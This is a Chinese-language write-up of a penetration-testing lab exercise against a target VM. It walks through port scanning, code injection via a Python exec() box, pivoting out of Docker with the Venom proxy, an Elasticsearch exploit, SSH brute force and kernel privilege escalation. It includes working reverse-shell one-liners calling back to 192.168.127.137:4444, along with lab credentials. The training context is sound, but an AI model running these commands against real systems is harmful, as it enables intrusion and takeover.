前言
这是打靶训练的第四周,前三周打靶视频是免费的。后面是付费课程,心一狠花了400大洋,希望不要花冤枉钱。靶机下载链接,难度中等。
信息搜集
扫下端口

这个upup是路由器上面的类似端口转发的服务,这明显不对劲,进行详细探测

原来是http,访问网页

看见这个留言框,第一时间就想到了xss,顺便试试吧

结果没啥用,想了想即使有xss对于我也没啥用啊,所以放弃了。使用dirsearch扫扫目录。

只扫到admin,访问看看

命令执行
好像是写代码,然后会调用exec()这函数。再结合前面的nmap扫描结果,是python2.7。所以就是写python的反弹shell代码。这个我熟悉,我最擅长python了。
kali上使用nc监听4444端口,代码框执行以下代码
import os
os.system('bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"')

执行后,nc并没有获取到反弹shell,然而代码状态是ran the code,当时我就怀疑人生了。换个代码,继续
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.127.137",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
这次可以了,我想看看为啥前面那个代码没有反弹shell,再次执行bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"

好家伙bash: not found,再见!!
whoami得到root结果,执行ls得到下面文件
Dockerfile
main.py
requirements.txt
templates
玩过docker的人,对Dockerfile绝对不陌生,我怀疑这是在docker里面,使用ls /.dockerenv,和cat /proc/1/cgroup来判断是否工作在docker环境。

只有docker才有.dockerenv文件,而且cgroup文件里面有docker,妥妥的在docker里面了。
横向渗透
使用ip a查看下网卡信息

172.17.0.2/16是b段,暂时先扫c段看看。使用for i in $(seq 1 5); do ping -c 1 172.17.0.$i; done

得到172.17.0.1-3存活,而靶机是172.17.0.2,所以要扫描其他ip。
这里要用到Venom代理工具,要将此工具传输到靶机,可以先在kali上启动apache服务service apache2 start,把venom/agent_linux_x64移动到/var/www/html/。这样就能在靶机上使用wget来下载文件了。

回到kali,使用./admin_linux_x64 -lport 8888监听8888端口。然后回到靶机给agent_linux_x64赋予可执行权限,再执行./agent_linux_x64 -rhost 192.168.127.137 -rport 8888。kali上面会得到结点响应,再开启socks5代理

使用proxychains nmap -sT -Pn 172.17.0.1,扫描172.17.0.1的端口

再次详细扫描proxychains nmap -p22,5000 -sV -sT -Pn 172.17.0.1

貌似很熟悉,浏览器挂上代理看看网页

这不就是192.168.127.139:5000的内容吗,一模一样,所以172.17.0.1和192.168.127.139都是同一个主机,只不过一个是内网ip,一个是外网。
那么继续扫描172.17.0.3的端口


熟悉的elasticsearch 1.4.2,老漏洞了,直接梭哈getshell

ls看到了一个passwords文件

在线md5解密后得到
用户名 密码
john 1337hack
test 1234test
admin 1111pass
root 1234pass
jane 1234jane
172.17.0.1的ssh是开着的,可以使用hydra爆破,将上面内容写入文件后使用hydra

ssh成功登录后,查看内核版本等等信息

权限提升
搜下3.13.0的内核漏洞

复制到当前文件夹cp /usr/share/exploitdb/exploits/linux/local/37292.c .,因为要使用gcc编译,而靶机上面没有安装gcc,所以应该本地编译后再传输到靶机上面去。然而这里有个坑,vi 37292.c 。

看第143行会再次调用gcc命令,然而靶机没有gcc,所以应该本地先找到ofs-lib.so,免去gcc编译过程。并且可以看到输出文件到/tmp,所以还要将文件拷贝到靶机的/tmp下。最后删除掉143-147行内容,保存文件。
本地查找ofs-lib.so,find / -name "ofs-lib.so",

拷贝过来后,使用gcc -o exp 37292.c进行编译,编译过程会有warning这个不影响。靶机上使用wget将exp和ofs-lib.so下载下来。最后将这两个文件移动到/tmp目录下,最后见证奇迹。

至此整个靶机渗透结束,给我最大的收获就是,要第一时间去看看别人的exp源码,而不是第一时间去利用!